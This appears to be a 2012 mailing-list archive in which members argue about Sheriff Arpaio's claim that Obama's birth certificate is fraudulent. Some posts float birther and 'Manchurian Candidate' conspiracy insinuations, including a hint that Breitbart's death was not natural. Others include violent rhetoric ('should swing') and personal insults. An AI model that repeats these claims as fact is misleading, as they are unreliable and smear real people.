Arpaio is well known for his mistreatment of prisoners who had the > misfortune of being placed under his jurisdiction. IMO, Arpaio used > prisoners as cannon fodder to satisfy some kind of a repressed inner-child > need he had - to get some kind of sick personal satisfaction of having > absolute control over the lives of others who, due to their own criminal > records, have limited rights of their own. (In Arpaio's mind: Who's going to > care about a bunch of criminals I abuse, since they are already criminals... > and obviously deserve continued "punishment".) Eventually, Arpaio's blatant > mistreatment of prisoners got himself into hot water with the law, the very > institution he swore to uphold: > > > > http://latino.foxnews.com/latino/politics/2011/12/19/arizona-sheriff-arpaio- > faces-new-scandal-after-arrested-man-clings-to-life/ > > > > http://tinyurl.com/83pjvrh > > > > The sad thing about this latest effort to falsify the Obama birth > certificate is the fact that it's all about bigotry. Biggots realize it is > socially unacceptable to use the "N" word out in the public to describe the > objectification of the sworn enemy. Instead, they try to "civilize" their > sense their outrage within the context of presenting a legal challenge > towards the object of their hatred. But it still all boils down to the same > thing: "We don't want no commi-socialist Muslim-lovin "N"r in the White > House." > > > > What bothers me is not the fact that there are Arpaio's out there. There > always will be. What concerns me is the fact that there are enough citizens > in our land that admire Arpaio' abusive tactics - so much that they > willingly overlook his continued blatant mistreatment of others so that by > proxy this so-called personification of "justice" can fulfill their own > bigoted perceptions of others. > > > > My two cents. > > > > Regards, > > Steven Vincent Johnson > > www.OrionWorks.com > > www.zazzle.com/orionworks > > > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Fri Mar 2 09:31:30 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q22HVR9A004216; Fri, 2 Mar 2012 09:31:27 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q22HVKWj004184; Fri, 2 Mar 2012 09:31:20 -0800 Resent-Date: Fri, 2 Mar 2012 09:31:20 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsQEAKU/KE/O+Ihr/2dsb2JhbACBX510iHCeGYYZBIZQmFQ X-IronPort-AV: E=Sophos;i="4.73,1,1325480400"; d="scan'208";a="165564578" Date: Fri, 2 Mar 2012 12:27:32 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Cc: grok@resist.ca Subject: Re: [VoB]:What do you think? Message-Id: <20120302122732.9245213362a424a715ee2b2e@antichef.com> In-Reply-To: <20120302160840.GA9233@shell.resist.ca> References: <000601ccf87b$547f8190$fd7e84b0$@net> <20120302160840.GA9233@shell.resist.ca> X-Mailer: Sylpheed 3.2.0beta3 (GTK+ 2.24.6; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4518 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 759 > > The real story here is how fascistic elements inside the U.S. > police-state apparatus think they have the power to use the > "Law" -- as usual -- as a weapon to advance their personal and > class interests. Just like the electoral fascists in the U.S. > Republican Party attempted to "legally" unseat Bill Clinton, > etc. AFAIC, "Sheriff" Joe Arpaio should swing for the crimes he > has already committed against The People. For starters. > > > -- grok. > > > > > > > > As the smoke cleared, OrionWorks - Steven Vincent Johnson > mounted the barricade and roared out: > > > From Terry: > > > > > > > > > Do we have the Manchurian Candidate? If we do, that would explain Andrew Breitbart's supposedly 'natural' death. When you look at the big picture: Arpaio, Dohrn, Ayers, Obama, it all becomes clear, or at least clearer. > > > > > > > > > > > > > ate-a-fraud/> > > http://www.wnd.com/2012/03/sheriff-joes-posse-probable-cause-obama- > > > > > > > ate-a-fraud/> > certificate-a-fraud/ > > > > > > > > Sheriff Joe Arpaio aka "America's Toughest Sheriff" is a real > > piece of work, isn't he! > > > > > > > > Arpaio is well known for his mistreatment of prisoners who had > > the misfortune of being placed under his jurisdiction. IMO, > > Arpaio used prisoners as cannon fodder to satisfy some kind of > > a repressed inner-child need he had - to get some kind of sick > > personal satisfaction of having absolute control over the > > lives of others who, due to their own criminal records, have > > limited rights of their own. (In Arpaio's mind: Who's going to > > care about a bunch of criminals I abuse, since they are > > already criminals... and obviously deserve continued > > "punishment".) Eventually, Arpaio's blatant mistreatment of > > prisoners got himself into hot water with the law, the very > > institution he swore to uphold: > > > > > > > > http://latino.foxnews.com/latino/politics/2011/12/19/arizona-sheriff-arpaio- > > faces-new-scandal-after-arrested-man-clings-to-life/ > > > > > > > > http://tinyurl.com/83pjvrh > > > > > > > > The sad thing about this latest effort to falsify the Obama > > birth certificate is the fact that it's all about bigotry. > > Biggots realize it is socially unacceptable to use the "N" > > word out in the public to describe the objectification of the > > sworn enemy. Instead, they try to "civilize" their sense their > > outrage within the context of presenting a legal challenge > > towards the object of their hatred. But it still all boils > > down to the same thing: "We don't want no commi-socialist > > Muslim-lovin "N"r in the White House." > > > > > > > > What bothers me is not the fact that there are Arpaio's out > > there. There always will be. What concerns me is the fact that > > there are enough citizens in our land that admire Arpaio' > > abusive tactics - so much that they willingly overlook his > > continued blatant mistreatment of others so that by proxy this > > so-called personification of "justice" can fulfill their own > > bigoted perceptions of others. > > > > > > > > My two cents. > > > > > > > > Regards, > > > > Steven Vincent Johnson > > > > www.OrionWorks.com > > > > www.zazzle.com/orionworks > > > > > > > > -- > The Financiers & Banksters have looted untold trillions of our > future earnings. Their bureaucratic police & military goons are > here to make us all pay for it. Forever. > Well FORGET THAT. Let's get it *ALL* back from them -- and more. > > **Socialist revolution NOW!!** > > Build the North America-wide General Strike. > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > > And beware the 'bait & switch' fraud: "Social Justice" is NOT > *Socialism*... > From vortexb-l-request@eskimo.com Wed Mar 7 16:47:30 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q280lOVD021706; Wed, 7 Mar 2012 16:47:25 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q280lCF3021635; Wed, 7 Mar 2012 16:47:12 -0800 Resent-Date: Wed, 7 Mar 2012 16:47:12 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=highsurf.com; h=Received:From:To:References:In-Reply-To:Subject:Date:Message-ID:MIME-Version:Content-Type:Content-Transfer-Encoding:X-Mailer:Thread-Index:Content-Language:X-Source:X-Source-Args:X-Source-Dir; b=RSOddPE88awrHRe1k2s6RCrzzNO8DgFvHW9Y5oCp0593zw42KB7hL3TvYQkDWzhY/pLHw0leBdfUG++af9HrRdcI/LnF6f9cctwoBLBsS9+yKbNkDnE2b+un5FVk+HkI; From: "Rick Monteverde" To: References: In-Reply-To: Subject: RE: [VoB]:What do you think? Date: Wed, 7 Mar 2012 14:43:16 -1000 Message-ID: <035801ccfcc4$7647d370$62d77a50$@com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acz4J9NWBTD6R4zlTxi4YUQHxBIw4AEml1GA Content-Language: en-us X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - cx08.justhost.com X-AntiAbuse: Original Domain - eskimo.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - highsurf.com X-Source: X-Source-Args: X-Source-Dir: Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4519 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 760 Kinda late now anyway, I'd rather see him voted in or out by the people than removed on a "technicality". -----Original Message----- From: Terry Blanton [mailto:hohlraum@gmail.com] Sent: Thursday, March 01, 2012 5:51 PM To: vortexb-l@eskimo.com Subject: [VoB]:What do you think? Do we have the Manchurian Candidate? http://www.wnd.com/2012/03/sheriff-joes-posse-probable-cause-obama-certifica te-a-fraud/ T From vortexb-l-request@eskimo.com Wed Mar 7 16:58:30 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q280wSGE025874; Wed, 7 Mar 2012 16:58:28 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q280wRRB025866; Wed, 7 Mar 2012 16:58:27 -0800 Resent-Date: Wed, 7 Mar 2012 16:58:27 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=ZuQNLvXnR8+rEC80imh9O01oA5FYUTX6NK8RuP9MLPk=; b=pGngqgW7T39BXPc+YPvRyctV5QKMpFBFblhWGF1igM72wCWvAtWaubwcgBbc0D9YR5 bZKpudz9cslHk4ulreRF7/UQrhKzS6AntkJ0UGmbWG+8Q4RLO+M2MVp1KYJOQB8wHkdE rWUS38V3zZD3PzohVJrUkiQwHuYmB7letE+hkocAhnYiJHpVmRPz3KTZFG8AquuHOpVk bCAMF0a808ziEC8RIlCCcJ+wGXY9mnibBgizuL8EDJFjeYRlG34RGs1e1dKCu9aEPAcS BE+EbnxgYBeL+oqDkukxAoRGk8AOaUp7eaVXq3BNZC1cpk53rUUZJOA94mVesqtFhO2y Qvig== MIME-Version: 1.0 In-Reply-To: <035801ccfcc4$7647d370$62d77a50$@com> References: <035801ccfcc4$7647d370$62d77a50$@com> Date: Wed, 7 Mar 2012 19:54:35 -0500 Message-ID: Subject: Re: [VoB]:What do you think? From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4520 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 761 On Wed, Mar 7, 2012 at 7:43 PM, Rick Monteverde wrote: > Kinda late now anyway, I'd rather see him voted in or out by the people than > removed on a "technicality". I don't think there will be a "technicality". If it is a MC situation, it is too well executed by those executioners. No, the next five years will tell the tale. Let us hope it is to our benefit. T From vortexb-l-request@eskimo.com Wed Mar 7 17:01:08 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q28115Np027954; Wed, 7 Mar 2012 17:01:05 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q28115pr027946; Wed, 7 Mar 2012 17:01:05 -0800 Resent-Date: Wed, 7 Mar 2012 17:01:05 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=rvNqJbVGdbt4egs52VbhtoJZG7AoPDG9H2iogr/sNfs= c=1 sm=1 a=8zlWGMd3uPIA:10 a=yUnIBFQkZM0A:10 a=kj9zAlcOel0A:10 a=t+194oyOKel6p+o+czWDVA==:17 a=0NDbqtzyAAAA:8 a=yTIk75XiAAAA:8 a=pGLkceISAAAA:8 a=zdAufCIgAAAA:8 a=Ah_ra4gKdJ-Qjlx_LM8A:9 a=5yLEj-bRTT-4oGDWvLMA:7 a=CjuIK1q_8ugA:10 a=-K5Qh65y7DoA:10 a=8PGfyiCYVrkA:10 a=MSl-tDqOz04A:10 a=sh6PArqQtYdngLzxv5aEQJAsMbE=:19 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <035801ccfcc4$7647d370$62d77a50$@com> In-Reply-To: <035801ccfcc4$7647d370$62d77a50$@com> Subject: RE: [VoB]:What do you think? Date: Wed, 7 Mar 2012 16:57:39 -0800 Message-ID: <019a01ccfcc6$762bfc20$6283f460$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acz4J9NWBTD6R4zlTxi4YUQHxBIw4AEml1GAAADOneA= Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4521 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 762 Disagree... *IF* he isn't legally a natural born citizen, then it would hopefully be the wake-up call all citizens need to realize that the level of corruption in politics, voting fraud, and the level of media control has reached extreme proportions, and it's time to put an end to it. With what I've seen in the last several years, on both sides of the isle, I would prefer to place the future of my freedoms in the collective wisdom of the average joe/joan before any politician... -----Original Message----- From: Rick Monteverde [mailto:rick@highsurf.com] Sent: Wednesday, March 07, 2012 4:43 PM To: vortexb-l@eskimo.com Subject: RE: [VoB]:What do you think? Kinda late now anyway, I'd rather see him voted in or out by the people than removed on a "technicality". -----Original Message----- From: Terry Blanton [mailto:hohlraum@gmail.com] Sent: Thursday, March 01, 2012 5:51 PM To: vortexb-l@eskimo.com Subject: [VoB]:What do you think? Do we have the Manchurian Candidate? http://www.wnd.com/2012/03/sheriff-joes-posse-probable-cause-obama-certifica te-a-fraud/ T From vortexb-l-request@eskimo.com Wed Mar 7 18:49:44 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id q282nf1Y028238; Wed, 7 Mar 2012 18:49:41 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id q282nd6n028227; Wed, 7 Mar 2012 18:49:39 -0800 Resent-Date: Wed, 7 Mar 2012 18:49:39 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 7 Mar 2012 18:45:41 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:What do you think? Message-ID: <20120308024541.GE23951@shell.resist.ca> Reply-To: grok@resist.ca References: <035801ccfcc4$7647d370$62d77a50$@com> <019a01ccfcc6$762bfc20$6283f460$@net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <019a01ccfcc6$762bfc20$6283f460$@net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: British Army Training Unit Suffield, SACS STU-III, Hackers, ACM, Gadfly User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4522 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 763 People who fixate on the status of Obama's place-of-birth demonstrate nothing so much as their own political irrelevancy. This is MOST CERTAINLY a non-issue -- orchestrated by certain interests to sidetrack one gullible layer of the U.S. population. Get a clue, jeezus. -- grok. As the smoke cleared, Mark Iverson-ZeroPoint mounted the barricade and roared out: > Disagree... *IF* he isn't legally a natural born citizen, then it would > hopefully be the wake-up call all citizens need to realize that the level of > corruption in politics, voting fraud, and the level of media control has > reached extreme proportions, and it's time to put an end to it. With what > I've seen in the last several years, on both sides of the isle, I would > prefer to place the future of my freedoms in the collective wisdom of the > average joe/joan before any politician... > > -----Original Message----- > From: Rick Monteverde [mailto:rick@highsurf.com] > Sent: Wednesday, March 07, 2012 4:43 PM > To: vortexb-l@eskimo.com > Subject: RE: [VoB]:What do you think? > > Kinda late now anyway, I'd rather see him voted in or out by the people than > removed on a "technicality". > > -----Original Message----- > From: Terry Blanton [mailto:hohlraum@gmail.com] > Sent: Thursday, March 01, 2012 5:51 PM > To: vortexb-l@eskimo.com > Subject: [VoB]:What do you think? > > Do we have the Manchurian Candidate? > > http://www.wnd.com/2012/03/sheriff-joes-posse-probable-cause-obama-certifica > te-a-fraud/ > > T > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Wed Mar 7 21:04:45 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q2854gwf019555; Wed, 7 Mar 2012 21:04:42 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q2854bSj019538; Wed, 7 Mar 2012 21:04:37 -0800 Resent-Date: Wed, 7 Mar 2012 21:04:37 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=psWcb5N98119OaOi9bjyg15qVElTHlpKZyP+LUQnThs= c=1 sm=1 a=8zlWGMd3uPIA:10 a=yUnIBFQkZM0A:10 a=IkcTkHD0fZMA:10 a=t+194oyOKel6p+o+czWDVA==:17 a=yTIk75XiAAAA:8 a=hOpmn2quAAAA:8 a=0NDbqtzyAAAA:8 a=pGLkceISAAAA:8 a=zdAufCIgAAAA:8 a=UNNccBSWTfl7-yH6jmwA:9 a=i92wV69LjJBBv6Oe9gAA:7 a=QEXdDO2ut3YA:10 a=8PGfyiCYVrkA:10 a=hUswqBWy9Q8A:10 a=-K5Qh65y7DoA:10 a=MSl-tDqOz04A:10 a=sh6PArqQtYdngLzxv5aEQJAsMbE=:19 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <035801ccfcc4$7647d370$62d77a50$@com> <019a01ccfcc6$762bfc20$6283f460$@net> <20120308024541.GE23951@shell.resist.ca> In-Reply-To: <20120308024541.GE23951@shell.resist.ca> Subject: RE: [VoB]:What do you think? Date: Wed, 7 Mar 2012 21:01:16 -0800 Message-ID: <01b401ccfce8$7eda26e0$7c8e74a0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acz81Zl5hQr3+KrRQ8i5iVh2z7tGcwAAI3FA Content-Language: en-us Resent-Message-ID: <9QI4MD.A.NxE.l3DWPB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4523 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 764 Have you got eyes grok; can you read and UNDERSTAND English? I said, and emphasized, "*IF* he isn't a legally born citizen"... Do you know what *IF* means???? =20 Besides, I was not focused on the birth cert issue at all... it was only = peripheral to my point, which you ignored or completely missed, of = course. Practice what you preach. -m -----Original Message----- From: grok [mailto:grok@resist.ca]=20 Sent: Wednesday, March 07, 2012 6:46 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:What do you think? People who fixate on the status of Obama's place-of-birth demonstrate = nothing so much as their own political irrelevancy. This is MOST CERTAINLY a non-issue -- orchestrated by certain interests = to sidetrack one gullible layer of the U.S. population. Get a clue, jeezus. -- grok. As the smoke cleared, Mark Iverson-ZeroPoint = mounted the barricade and roared out: > Disagree... *IF* he isn't legally a natural born citizen, then it=20 > would hopefully be the wake-up call all citizens need to realize that=20 > the level of corruption in politics, voting fraud, and the level of=20 > media control has reached extreme proportions, and it's time to put an = > end to it. With what I've seen in the last several years, on both=20 > sides of the isle, I would prefer to place the future of my freedoms=20 > in the collective wisdom of the average joe/joan before any = politician... >=20 > -----Original Message----- > From: Rick Monteverde [mailto:rick@highsurf.com] > Sent: Wednesday, March 07, 2012 4:43 PM > To: vortexb-l@eskimo.com > Subject: RE: [VoB]:What do you think? >=20 > Kinda late now anyway, I'd rather see him voted in or out by the=20 > people than removed on a "technicality". >=20 > -----Original Message----- > From: Terry Blanton [mailto:hohlraum@gmail.com] > Sent: Thursday, March 01, 2012 5:51 PM > To: vortexb-l@eskimo.com > Subject: [VoB]:What do you think? >=20 > Do we have the Manchurian Candidate? >=20 > http://www.wnd.com/2012/03/sheriff-joes-posse-probable-cause-obama-cer > tifica > te-a-fraud/ >=20 > T >=20 -- The Financiers & Banksters have looted untold trillions of our future = earnings. Their bureaucratic police & military goons are here to make us all pay = for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT = *Socialism*... From vortexb-l-request@eskimo.com Thu Mar 8 05:35:40 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q28DZare019777; Thu, 8 Mar 2012 05:35:36 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q28DZZ4p019767; Thu, 8 Mar 2012 05:35:35 -0800 Resent-Date: Thu, 8 Mar 2012 05:35:35 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=subject:references:from:content-type:x-mailer:in-reply-to :message-id:date:to:content-transfer-encoding:mime-version; bh=A2lXd6EXg19jcuTohpdQE8Tli9d3EK3oggO6AhhFZEs=; b=xlcragTklAQjQzkbtUwH64Azlny2isUoIHQkDPay8o09tAWmvYpSzeAB0ZYnEPf2ly CblE5RY3fz9eETqFLo90oB1Ht0OUDtVMDe3u5IYybzFsfbzIOUU6zquWbq/EsK7uWxcn m7dwSn2hAnpSfbtOD3VAfHCeAMR00aDIMZyufuzsDyYDxLWGx5UlbxRT89VIPxG4vNya EK8ZqdEArMRKaqImoMFYaP05T9MCCTY9IVaptjAVhP9MVEbM5f/NF3SJfWuJ19SZRXtU 7HzIF+hjaCwhzI6prkNf8RoiYnKS5OBurnqaVv+GNbJ1VfDSqzYCswiW6Ih96FwrcDeT uapg== Subject: Re: [VoB]:What do you think? References: <035801ccfcc4$7647d370$62d77a50$@com> <019a01ccfcc6$762bfc20$6283f460$@net> <20120308024541.GE23951@shell.resist.ca> <01b401ccfce8$7eda26e0$7c8e74a0$@net> From: Charles Hope Content-Type: text/plain; charset=us-ascii X-Mailer: iPhone Mail (9B179) In-Reply-To: <01b401ccfce8$7eda26e0$7c8e74a0$@net> Message-Id: <5624736F-2C27-4121-884D-C8F8DD4285F1@gmail.com> Date: Thu, 8 Mar 2012 08:31:32 -0500 To: "vortexb-l@eskimo.com" Content-Transfer-Encoding: quoted-printable Mime-Version: 1.0 (1.0) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4524 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 765 Right, because his policies have been so pro-Kenyan. Wow, it's almost as if K= enya has taken over America. Kenya's interests are all one hears about these= days. We need to make sure our next president is American! On Mar 8, 2012, at 0:01, "Mark Iverson-ZeroPoint" wr= ote: > Have you got eyes grok; can you read and UNDERSTAND English? >=20 > I said, and emphasized, "*IF* he isn't a legally born citizen"... > Do you know what *IF* means???? =20 >=20 > Besides, I was not focused on the birth cert issue at all... it was only p= eripheral to my point, which you ignored or completely missed, of course. >=20 > Practice what you preach. > -m >=20 > -----Original Message----- > From: grok [mailto:grok@resist.ca]=20 > Sent: Wednesday, March 07, 2012 6:46 PM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:What do you think? >=20 >=20 > People who fixate on the status of Obama's place-of-birth demonstrate noth= ing so much as their own political irrelevancy. > This is MOST CERTAINLY a non-issue -- orchestrated by certain interests to= sidetrack one gullible layer of the U.S. population. >=20 > Get a clue, jeezus. >=20 >=20 >=20 > -- grok. >=20 >=20 > As the smoke cleared, Mark Iverson-ZeroPoint mount= ed the barricade and roared out: >=20 >> Disagree... *IF* he isn't legally a natural born citizen, then it=20 >> would hopefully be the wake-up call all citizens need to realize that=20 >> the level of corruption in politics, voting fraud, and the level of=20 >> media control has reached extreme proportions, and it's time to put an=20= >> end to it. With what I've seen in the last several years, on both=20 >> sides of the isle, I would prefer to place the future of my freedoms=20 >> in the collective wisdom of the average joe/joan before any politician...= >>=20 >> -----Original Message----- >> From: Rick Monteverde [mailto:rick@highsurf.com] >> Sent: Wednesday, March 07, 2012 4:43 PM >> To: vortexb-l@eskimo.com >> Subject: RE: [VoB]:What do you think? >>=20 >> Kinda late now anyway, I'd rather see him voted in or out by the=20 >> people than removed on a "technicality". >>=20 >> -----Original Message----- >> From: Terry Blanton [mailto:hohlraum@gmail.com] >> Sent: Thursday, March 01, 2012 5:51 PM >> To: vortexb-l@eskimo.com >> Subject: [VoB]:What do you think? >>=20 >> Do we have the Manchurian Candidate? >>=20 >> http://www.wnd.com/2012/03/sheriff-joes-posse-probable-cause-obama-cer >> tifica >> te-a-fraud/ >>=20 >> T >>=20 >=20 > -- > The Financiers & Banksters have looted untold trillions of our future earn= ings. > Their bureaucratic police & military goons are here to make us all pay for= it. > Forever. > Well FORGET THAT. Let's get it *ALL* back from them -- and more. >=20 > **Socialist revolution NOW!!** >=20 > Build the North America-wide General Strike. > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. >=20 > And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*.= .. >=20 From vortexb-l-request@eskimo.com Thu Mar 8 05:46:57 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id q28Dks5R031523; Thu, 8 Mar 2012 05:46:54 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id q28Dkm7F031457; Thu, 8 Mar 2012 05:46:48 -0800 Resent-Date: Thu, 8 Mar 2012 05:46:48 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Thu, 8 Mar 2012 05:42:47 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:What do you think? Message-ID: <20120308134247.GB8043@shell.resist.ca> Reply-To: grok@resist.ca References: <035801ccfcc4$7647d370$62d77a50$@com> <019a01ccfcc6$762bfc20$6283f460$@net> <20120308024541.GE23951@shell.resist.ca> <01b401ccfce8$7eda26e0$7c8e74a0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <01b401ccfce8$7eda26e0$7c8e74a0$@net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Fijian military government, E.O.D., Halo, Project Samossa, FLAP LID B User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4525 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 766 As the smoke cleared, Mark Iverson-ZeroPoint mounted the barricade and roared out: > Have you got eyes grok; can you read and UNDERSTAND English? Are you *braindead*, you twit? Sheesh. -- grok. > I said, and emphasized, "*IF* he isn't a legally born citizen"... > Do you know what *IF* means???? > > Besides, I was not focused on the birth cert issue at all... it was only peripheral to my point, which you ignored or completely missed, of course. > > Practice what you preach. > -m > > -----Original Message----- > From: grok [mailto:grok@resist.ca] > Sent: Wednesday, March 07, 2012 6:46 PM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:What do you think? > > > People who fixate on the status of Obama's place-of-birth demonstrate nothing so much as their own political irrelevancy. > This is MOST CERTAINLY a non-issue -- orchestrated by certain interests to sidetrack one gullible layer of the U.S. population. > > Get a clue, jeezus. > > > > -- grok. > > > As the smoke cleared, Mark Iverson-ZeroPoint mounted the barricade and 